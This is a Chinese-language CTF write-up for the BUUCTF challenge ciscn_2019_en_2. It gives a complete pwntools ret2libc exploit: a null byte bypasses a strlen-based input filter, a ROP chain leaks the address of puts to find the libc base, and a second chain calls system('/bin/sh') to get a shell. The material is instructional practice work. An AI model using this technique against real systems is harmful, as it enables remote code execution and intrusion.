2

ciscn_2019_en_2

1.ida分析

2

 

 

2

 

 在encrypt函数中存在栈溢出漏洞,但是会把输入过滤。

2.checksec

2

 

 3.解决

from pwn import *
from LibcSearcher import *
context.log_level='debug'
s
p=remote('node4.buuoj.cn',27829)
elf=ELF('./ciscn_2019_en_2')

ret=0x4006b9
pop_rdi=0x400c83
main=elf.sym['main']
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

p.sendlineafter("choice!\n",'1')
pl='\0'+'a'*(0x50-1+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendlineafter("encrypted\n",pl)
p.recvline()
p.recvline()
puts=u64(p.recvuntil('\n')[:-1].ljust(8,'\0'))
libc=LibcSearcher('puts',puts)
libc_addr=puts-libc.dump('puts')
binsh=libc_addr+libc.dump('str_bin_sh')
system=libc_addr+libc.dump('system')
p.sendlineafter("choice!\n",'1')
pl='\0'+'a'*(0x50-1+8)+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
p.sendlineafter("encrypted\n",pl)


p.interactive()

首先输入的payload不能被过滤,利用strlen函数读到'\x00'结束的特性绕过检查。

所以payload的第一个为'\x00',然后就是栈溢出来泄露puts函数的地址计算出基址。

pl='\0'+'a'*(0x50-1+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendlineafter("encrypted\n",pl)
p.recvline()
p.recvline()
puts=u64(p.recvuntil('\n')[:-1].ljust(8,'\0'))
libc=LibcSearcher('puts',puts)
libc_addr=puts-libc.dump('puts')

这时候再输入system('/bin/sh')的payload。

binsh=libc_addr+libc.dump('str_bin_sh')
system=libc_addr+libc.dump('system')
p.sendlineafter("choice!\n",'1')
pl='\0'+'a'*(0x50-1+8)+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
p.sendlineafter("encrypted\n",pl)

exp参考:https://blog.csdn.net/tqydyqt/article/details/104986595

 

上一篇:使用Gulp实现前端构建自动化


下一篇:Python下调用Linux的Shell命令